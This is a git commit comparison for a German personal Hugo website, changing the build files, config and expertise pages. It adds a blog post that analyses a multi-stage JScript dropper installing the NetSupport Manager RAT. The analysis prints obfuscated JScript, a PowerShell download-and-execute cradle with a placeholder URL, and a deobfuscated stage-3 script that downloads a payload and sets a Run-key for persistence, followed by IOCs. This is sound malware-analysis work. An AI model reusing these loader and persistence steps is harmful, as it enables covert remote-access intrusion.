Compare commits
2 Commits
c72159f148
...
a0ec4e6629
Author | SHA1 | Date |
---|---|---|
Johannes Bülow | a0ec4e6629 | |
Johannes Bülow | a9350051c4 |
2
Makefile
2
Makefile
|
@ -13,7 +13,7 @@ nopub: hugo container
|
||||||
podman run --rm -p8080:80 docker.io/jmbitci/www-jmbit-de
|
podman run --rm -p8080:80 docker.io/jmbitci/www-jmbit-de
|
||||||
|
|
||||||
rollout:
|
rollout:
|
||||||
kubectl rollout restart deployment www-jmbit-de -n jmbit-web
|
kubectl --context=jmbit-prod rollout restart deployment www-jmbit-de -n jmbit-web
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
rm -rf public
|
rm -rf public
|
||||||
|
|
|
@ -5,7 +5,7 @@ paginate = 5
|
||||||
defaultContentLanguage= "de"
|
defaultContentLanguage= "de"
|
||||||
|
|
||||||
[params]
|
[params]
|
||||||
contentTypeName = "posts"
|
contentTypeName = "blog"
|
||||||
themeColor = "blue"
|
themeColor = "blue"
|
||||||
showMenuItems = 5
|
showMenuItems = 5
|
||||||
fullWidthTheme = false
|
fullWidthTheme = false
|
||||||
|
@ -35,7 +35,7 @@ defaultContentLanguage= "de"
|
||||||
[[languages.de.menu.main]]
|
[[languages.de.menu.main]]
|
||||||
identifier = "Expertise"
|
identifier = "Expertise"
|
||||||
name = "Expertise"
|
name = "Expertise"
|
||||||
url = "/expertise/"
|
url = "/expertise.html"
|
||||||
[[languages.de.menu.main]]
|
[[languages.de.menu.main]]
|
||||||
identifier = "consulting"
|
identifier = "consulting"
|
||||||
name = "Consulting"
|
name = "Consulting"
|
||||||
|
|
|
@ -5,7 +5,9 @@ author: Johannes Bülow
|
||||||
draft: false
|
draft: false
|
||||||
---
|
---
|
||||||
|
|
||||||
## UPDATE: Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt!
|
| UPDATE |
|
||||||
|
|----------------------------------------------------------------------------------------|
|
||||||
|
|Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt! |
|
||||||
|
|
||||||
ESXiArgs ist eine vermutlich neue Ransomware-Familie, die ESXi-Server angreift und darauf laufende VMs (teilweise)
|
ESXiArgs ist eine vermutlich neue Ransomware-Familie, die ESXi-Server angreift und darauf laufende VMs (teilweise)
|
||||||
verschlüsselt. Der wahrscheinlichste Angriffsvektor ist derzeit
|
verschlüsselt. Der wahrscheinlichste Angriffsvektor ist derzeit
|
||||||
|
|
|
@ -0,0 +1,126 @@
|
||||||
|
---
|
||||||
|
title: "JScript delivered RAT"
|
||||||
|
date: 2023-04-28
|
||||||
|
draft: false
|
||||||
|
---
|
||||||
|
|
||||||
|
# *DISCLAIMER*
|
||||||
|
**Das Herunterladen und ausführen von Malware, auch zum Zwecke der Analyse, ist gefährlich. Ich übernehme
|
||||||
|
keinerlei Haftung für etwaige Schäden bei Nachahmung!**
|
||||||
|
|
||||||
|
| UPDATE |
|
||||||
|
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||||
|
| Neuere Varianten dieser Malware verteilen nicht direkt die jscript-Datei, sondern eine HTML-Datei, die im Javascript erst eine Zip mit dieser JScript-Datei baut! |
|
||||||
|
|
||||||
|
## Einführung
|
||||||
|
In diesem Blogeintrag möchte ich einen kleinen Einblick in die Analyse bzw. das reverse-eingineering von Malware geben.
|
||||||
|
Hier anhand einer Beispielmalware, die über Mehrere Stufen letztendlich "NetSupport Manager" als Remote Access Tool
|
||||||
|
(RAT) installiert.
|
||||||
|
|
||||||
|
Auf den ersten Blick scheint die Datei vergleichsweise harmlos, insbesondere wenn man z.B. in Windows nicht aktiviert
|
||||||
|
hat, dass der Dateiname vollständig (inkl. Endung) angezeigt wird.
|
||||||
|
![Screenshot der Dateivorschau](/img/blog/Screenshot_from_2023-04_28-08-50-24.png)
|
||||||
|
|
||||||
|
Sollte ein Windows-User die Datei zum öffnen Doppelklicken, wird sie, statt wie zu erwarten im konfigurierten PDF-Viewer
|
||||||
|
angezeigt zu werden, vom [Windows Script Host](https://de.wikipedia.org/wiki/Windows_Script_Host) mithilfe dessen
|
||||||
|
JScript-Engine ausgeführt.
|
||||||
|
|
||||||
|
## Stage 1
|
||||||
|
Die initial heruntergeladene Datei ist sehr stark [Obfuscated](https://de.wikipedia.org/wiki/Obfuskation), was das
|
||||||
|
Reverse engineering deutlich erschwert. Ein relativ einfacher Trick ist hier jedoch, die eigentlichen Aufrufe, die die
|
||||||
|
nächste Stage herunterladen wollen, so umzubauen, dass sie statt dem eigentlichen Aufruf jediglich den entsprechenden
|
||||||
|
Code ausgeben:
|
||||||
|
|
||||||
|
```js
|
||||||
|
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
|
||||||
|
FNwMBmgDjPdaInUxO[V1(0x39, 'bmzj')](V3(0x85, 'KWPY')) == ![] && CkMPuJXlbEaniIF[V3(0xac, 'ClZu')](PoHdrRpqKNwXVGyEDMO, V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
|
||||||
|
```
|
||||||
|
_Hier erstellt die Malware ein ActiveXObjekt mit der nächsten Stufe und führt diese aus._
|
||||||
|
|
||||||
|
```js
|
||||||
|
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
|
||||||
|
console.log(FNwMBmgDjPdaInUxO + V1(0x39, 'bmzj') + V3(0x85, 'KWPY')) ;
|
||||||
|
console.log(CkMPuJXlbEaniIF + V3(0xac, 'ClZu') )
|
||||||
|
console.log(PoHdrRpqKNwXVGyEDMO + V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
|
||||||
|
```
|
||||||
|
_Der gleiche Teil des Codes, aber entschärft und mit print-Statements. Das "ActiveXObject" ist jetzt eine einfache
|
||||||
|
Klasse mit String dahinter._
|
||||||
|
|
||||||
|
Wenn man diesen Code dann mithilfe von NodeJS ausführt, erhält man den folgenden Output:
|
||||||
|
|
||||||
|
```
|
||||||
|
remnux@remnux:~/Analysis/nitrogen-diet-florida-monkey$ node nitrogen-diet-florida-monkey.js
|
||||||
|
ShElL.APPlIcatioN
|
||||||
|
scriptIng.fIlesysTemobjeCt
|
||||||
|
[object Object]FolderExistsC:\userss
|
||||||
|
[object Object]ShellExecute
|
||||||
|
cmd/C POwerShElL -nop -w hidden -ep bypass -enc <BASE64String> oPen 0
|
||||||
|
```
|
||||||
|
|
||||||
|
der Base64 kodierte String enthält diesen Powershellbefehl, der die nächste Stufe der Malware herunterlädt.
|
||||||
|
```powershell
|
||||||
|
IEX (New-Object Net.Webclient).downloadstring("<STAGE3URL>")
|
||||||
|
```
|
||||||
|
|
||||||
|
## Stage 3
|
||||||
|
|
||||||
|
Stufe 3 der Malware ist ein Powershell-Skript, das auch wieder obfuskiert ist, z.B. durch seltsame Groß/Kleinschreibung,
|
||||||
|
String-Formatierung und großzügig verteilten \`, die in Powershell als Escape verwendet werden (im Gegensatz zu den
|
||||||
|
meisten anderen Sprachen, die \\ verwenden). Zudem wurde der gesamte Code in eine Zeile geschrieben.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
{rn`UM}=&("{2}{0}{1}"-f 'and','om','Get-R') -minimum 5 -maximum 9; ${r`Rn`UM}=&("{3}{2}{0}{1}"-f 'Rand','om','-','Get') -minimum 1024 -maximum 9999; ${CH`Rs}=("{8}{9}{6}{2}{10}{11}{12}{0}{14}{4}{13}{5}{3}{7}{1}" -f 'D','PRSTUVWXYZ','pstuvw','KLM','F','J','mno','NO','abcdefghi','jkl','x','yz','ABC','GHI','E'); ${R`STR}=''; ${r`An}=.("{0}{1}{2}{3}" -f'New-O','bje','c','t') ("{1}{0}{3}{2}"-f 'm.Ra','Syste','m','ndo');
|
||||||
|
```
|
||||||
|
_Ausschnitt aus dem Originalcode_
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
#!/usr/bin/env pwsh
|
||||||
|
|
||||||
|
&('cd') ${ENV:appdata}
|
||||||
|
${link} = "https://<payloadurl>/wp-content/plugins/giveme.php"
|
||||||
|
${rnum} = 5
|
||||||
|
${rrnum} = 1337
|
||||||
|
${chrs} = "abcdefghijklmnopstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ"
|
||||||
|
${rstr} = ''
|
||||||
|
${ran} = .(New-Object System.Random)
|
||||||
|
for (${i} = 0
|
||||||
|
${i} -lt ${r`NuM}
|
||||||
|
${I}++) { ${rstr} += ${chrs}[${ran}.next.Invoke(0, ${chrs}."length")] }
|
||||||
|
${rzip} = ${rstr} + ".zip"
|
||||||
|
${path} = ${ENV:`APPDATA} + '\' + ${rzip}
|
||||||
|
${pzip} = ${ENV: APPDATA} + "\ONEN0TEupdate_"
|
||||||
|
write-host (Start-Bitstransfer) -Source ${link} -Destination ${path}
|
||||||
|
&(Expand-Archive -path ${path} -destinationpath ${pzip})
|
||||||
|
${fold} = &(Get-Item) ${pzip} -Force
|
||||||
|
${fold}.Attributes = Hidden
|
||||||
|
&(Remove-Item) -path ${path}
|
||||||
|
&('cd') ${pzip}
|
||||||
|
Write-Output Start client32.exe
|
||||||
|
${fstr} = ${ENV:appdata} + ".\ONEN0TEupdate_1337\client32.exe"
|
||||||
|
${rnm} = ONEN0TEupdate_1337
|
||||||
|
Write-Output New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ONEN0TEupdate_1337 -Value ${fstr} -PropertyType String
|
||||||
|
|
||||||
|
```
|
||||||
|
_Stage3, aufgeräumt und vereinfacht_
|
||||||
|
|
||||||
|
Stufe 3 ist die Stufe, die letztendlich die eigentliche Payload herunterlädt. sowie einen Autostart-Registrykey
|
||||||
|
erstellt.
|
||||||
|
Bei der Payload handelt es sich um eine vorkonfigurierte Version von NetSupport Manager, die sich mit dem C2-Server
|
||||||
|
verbindet.
|
||||||
|
|
||||||
|
## IOCs
|
||||||
|
|
||||||
|
### C2-Server
|
||||||
|
* blahadfurtik.com:5222 (IP: 89.22.237.94 )
|
||||||
|
|
||||||
|
### Lokal/Filesystem
|
||||||
|
* Ordner mit dem Namen "ONEN0TEupdate\_XXXX" in `C:/Users/<USER>/AppData/Roaming/`
|
||||||
|
* Registry-Key unter `HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` mit dem gleichen Namen wie der Ordner in
|
||||||
|
Appdata und zu client32.exe in diesem zeigend
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
-----------
|
||||||
|
Verwendetes Sample: SHA256:00d87e984f0fcd2e8fb55e4b83d86027dac67fd073958a95cbc98961ab940f4b
|
||||||
|
Quelle: bazaar.abuse.ch
|
|
@ -1,32 +1,58 @@
|
||||||
---
|
---
|
||||||
title: "Expertise"
|
title: "Expertise"
|
||||||
draft: false
|
draft: false
|
||||||
|
url: 'expertise.html'
|
||||||
---
|
---
|
||||||
|
|
||||||
## Anwendungen
|
## Anwendungen
|
||||||
|
|
||||||
## Nextcloud
|
**Nextcloud**
|
||||||
Freie Kollaborations- und Dateimanagementlösung. Mit Nextcloud können Sie Bilder, Dokumente und andere Dateien synchron halten und bearbeiten. Nextcloud hat viele Integrationen und Apps, z.B. mit Collabora oder Only Office, um Dateien direkt im Browser bearbeiten zu können.
|
Freie Kollaborations- und Dateimanagementlösung. Mit Nextcloud können Sie Bilder, Dokumente und andere Dateien synchron
|
||||||
Nextcloud kan im Gegensatz zu Office 365 oder Google Drive DSGVO-Konform in Deutschland gehostet und betrieben werden.
|
halten und bearbeiten. Nextcloud hat viele Integrationen und Apps, z.B. mit Collabora oder Only Office, um Dateien
|
||||||
|
direkt im Browser bearbeiten zu können.
|
||||||
|
Nextcloud kann im Gegensatz zu Office 365 oder Google Drive DSGVO-Konform in Deutschland gehostet und betrieben werden.
|
||||||
|
[MEHR](/expertise/netxcloud/)
|
||||||
|
|
||||||
## FreeIPA
|
**FreeIPA**
|
||||||
FreeIPA ist eine Open-Source Lösung zur Identitätsverwaltung. FreeIPA kann Kerberos, LDAP, NTP, DNS, Zertifikatsverwaltung und mehr. Etwa vergleichbar mit Microsoft Active Directory, aber Open Source. Upstream-Projekt für RedHat Identity Management
|
FreeIPA ist eine Open-Source Lösung zur Identitätsverwaltung. FreeIPA kann Kerberos, LDAP, NTP, DNS,
|
||||||
|
Zertifikatsverwaltung und mehr. Etwa vergleichbar mit Microsoft Active Directory, aber Open Source.
|
||||||
|
FreeIPA hat eine einfache Weboberfläche zur Verwaltung von Berechtigungen, Authentifizierung, Authorisierung, DNS,
|
||||||
|
Zertifikate und Benutzerinformationen.
|
||||||
|
FreeIPA ist das Upstream-Projekt für RedHat Identity Manager.
|
||||||
|
[MEHR](/expertise/freeipa/)
|
||||||
|
|
||||||
## Webserver
|
**Webserver**
|
||||||
Sowohl nginx als auch Apache sind mir geläufig.
|
Sowohl nginx als auch Apache sind mir geläufig. Heutzutage setze ich primär nginx ein, da dieser für die üblichen
|
||||||
|
Workloads, z.B. statische Websites, oder als Reverse Proxy vor Java/Node/Python-WebApps. Allerdings hat Apache in
|
||||||
|
einigen Bereichen (z.B. shared hosting auf einem Webserver, PHP-Anwendungen...) weiterhin Vorteile gegenüber nginx,
|
||||||
|
und sollte dementsprechend dort auch berücksichtigt werden.
|
||||||
|
[MEHR](/expertise/webserver/)
|
||||||
|
|
||||||
|
**Datenbanken**
|
||||||
|
Im Bereich der Datenbanken habe ich mich bisher primär auf Relationale Datenbanken fokussiert. Meine Datenbank der Wahl
|
||||||
|
ist Postgres, Erfahrungen habe ich aber auch im Umgang mit MSSQL (auch unter Linux) und MySQL/MariaDB.
|
||||||
|
|
||||||
## Virtualisierung & Container
|
## Virtualisierung & Container
|
||||||
### Virtualisierung
|
**Virtualisierung**
|
||||||
Im Bereich Virtualisierung kenne ich mich insbesondere mit VMware vSphere und QEMU/KVM (Proxmox, Libvirt) aus.
|
Im Bereich Virtualisierung kenne ich mich insbesondere mit VMware vSphere und QEMU/KVM (Proxmox, Libvirt) aus.
|
||||||
|
Virtualisierung ist mittlerweile sehr häufig geworden, nahezu jeder Server, der von Endanwendern benutzt wird, ist
|
||||||
|
keine Physische Maschine mehr, sondern eine VM (egal ob im eigenen Rechenzentrum oder bei einem Hosting-Provider wie
|
||||||
|
Amazon, Hetzner, Microsoft...)
|
||||||
|
|
||||||
### Container
|
**Container**
|
||||||
Mit den Container-Verwaltungstools Docker, Podman und Kubernetes konnte ich bereits einige Erfahrung sammeln, und nutze diese regelmäßig.
|
Mit den Container-Verwaltungstools Docker, Podman und Kubernetes konnte ich bereits einige Erfahrung sammeln, und nutze
|
||||||
|
diese regelmäßig. Container sind mittlerweile fast genauso weit verbreitet wie Virtuelle Maschinen, haben diesen
|
||||||
|
gegenüber jedoch einige Vor-, aber auch Nachteile. Der größte Vorteil ist, dass im Gegensatz zu einer VM nicht das
|
||||||
|
gesamte Betriebssystem virtualisiert werden muss, d.h. ein Container enthält jediglich das Userland.
|
||||||
|
[MEHR](/expertise/container/)
|
||||||
|
|
||||||
## Linux
|
## Linux
|
||||||
### Distributionen
|
**Distributionen**
|
||||||
Ich habe Kenntnisse in den meisten gängingen Distributionen, aber besonders im Umgang mit Debian (Und darauf basierten Systemen).
|
Ich habe Kenntnisse in den meisten gängingen Distributionen, aber besonders im Umgang mit Debian (Und darauf basierten
|
||||||
|
Systemen).
|
||||||
Ansonsten kenne ich auch SuSE Linux, Ubuntu, RHEL und darauf basierende Distributionen.
|
Ansonsten kenne ich auch SuSE Linux, Ubuntu, RHEL und darauf basierende Distributionen.
|
||||||
|
|
||||||
## Verwaltungssoftware
|
**Automatisierung / Infrastructure as Code**
|
||||||
Meine Linux-Server verwalte ich mithilfe von Ansible
|
Zur Verwaltung von Server setze ich primär Ansible ein, durfte aber auch Erfahrungen mit Puppet sammeln. Auf meiner Codeberg-Seite finden sich ein paar Beispiels-Playbooks für Ansible.
|
||||||
|
|
||||||
|
<!-- vim: set wrap linebreak textwidth=120 cc=120 spell spelllang=de,en : -->
|
||||||
|
|
|
@ -0,0 +1,13 @@
|
||||||
|
---
|
||||||
|
title: "FreeIPA"
|
||||||
|
---
|
||||||
|
|
||||||
|
FreeIPA ist eine Open-Source Lösung zur Identitätsverwaltung. FreeIPA kann Kerberos, LDAP, NTP, DNS,
|
||||||
|
Zertifikatsverwaltung und mehr. Etwa vergleichbar mit Microsoft Active Directory, aber Open Source.
|
||||||
|
FreeIPA hat eine einfache Weboberfläche zur Verwaltung von Berechtigungen, Authentifizierung, Authorisierung, DNS,
|
||||||
|
Zertifikate und Benutzerinformationen.
|
||||||
|
|
||||||
|
FreeIPA kann mit sehr vielen Systemen integriert werden, entweder direkt über LDAP/Kerberos, oder auch etwas
|
||||||
|
indirekter, z.B. als Authentifizierungs-Provider für Keycloak/Authelia oder andere Single-Sign-On Lösungen.
|
||||||
|
|
||||||
|
<!-- vim: set wrap linebreak textwidth=120 cc=120 spell spelllang=de,en : -->
|
|
@ -0,0 +1,6 @@
|
||||||
|
---
|
||||||
|
title: "Ansible"
|
||||||
|
date: 2023-05-19T15:54:38+02:00
|
||||||
|
draft: true
|
||||||
|
---
|
||||||
|
|
|
@ -0,0 +1,15 @@
|
||||||
|
---
|
||||||
|
title: "Container"
|
||||||
|
---
|
||||||
|
|
||||||
|
Mit den Container-Verwaltungstools Docker, Podman und Kubernetes konnte ich bereits einige Erfahrung sammeln, und nutze
|
||||||
|
diese regelmäßig. Container sind mittlerweile fast genauso weit verbreitet wie Virtuelle Maschinen, haben diesen
|
||||||
|
gegenüber jedoch einige Vor-, aber auch Nachteile. Der größte Vorteil ist, dass im Gegensatz zu einer VM nicht das
|
||||||
|
gesamte Betriebssystem virtualisiert werden muss, d.h. ein Container enthält jediglich das Userland. Dadurch wird nicht
|
||||||
|
nur der vergleichsweise kleine Linux-Kernel (~258MB on Disk auf dem Laptop, mit dem ich diesen Artikel schreibe)
|
||||||
|
eingespart, sondern auch die meisten üblichen Verwaltungs-Tools, die durch extern laufende Tools
|
||||||
|
(Docker/Podman/Kubernetes) ersetzt werden. Dadurch wird die Skalierbarkeit vereinfacht. Zudem sind Container meist
|
||||||
|
*stateless*, haben also keine persistenten Daten.
|
||||||
|
|
||||||
|
<!-- vim: set wrap linebreak textwidth=120 cc=120 spell spelllang=de,en : -->
|
||||||
|
|
|
@ -0,0 +1,6 @@
|
||||||
|
---
|
||||||
|
title: "Distros"
|
||||||
|
date: 2023-05-19T15:54:27+02:00
|
||||||
|
draft: true
|
||||||
|
---
|
||||||
|
|
|
@ -0,0 +1,17 @@
|
||||||
|
---
|
||||||
|
title: "Netxcloud"
|
||||||
|
date: 2023-05-01T18:06:16+02:00
|
||||||
|
draft: true
|
||||||
|
---
|
||||||
|
|
||||||
|
Nextcloud ist vor allem bekannt dafür, als Alternative zu SAAS-Produkten wie Dropbox, Google Drive,
|
||||||
|
Onedrive und Co. zu dienen. Allerdings gibt es mittlerweile einige Features mehr als nur reines Filesharing. Nextcloud
|
||||||
|
kann mit Nextcloud Hub auch zu einer vollwertigen Collaboraition-Suite verwandelt werden. Hier wird das
|
||||||
|
Filesharing/Management um Chat, Video- und Audiokonferenzen, Email-Client, Kalender, Office, Kontaktverwaltung,
|
||||||
|
Taskmanagement und mehr erweitert
|
||||||
|
werden. Zusätzlich gibt es viele zusätzliche Apps, mit denen Nextcloud erweitert werden kann.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<!-- vim: set wrap linebreak textwidth=120 cc=120 : -->
|
|
@ -0,0 +1,6 @@
|
||||||
|
---
|
||||||
|
title: "Virtualisierung"
|
||||||
|
date: 2023-05-19T15:53:49+02:00
|
||||||
|
draft: true
|
||||||
|
---
|
||||||
|
|
|
@ -0,0 +1,6 @@
|
||||||
|
---
|
||||||
|
title: "Webserver"
|
||||||
|
date: 2023-05-19T15:52:57+02:00
|
||||||
|
draft: true
|
||||||
|
---
|
||||||
|
|
Binary file not shown.
After Width: | Height: | Size: 14 KiB |
Loading…
Reference in New Issue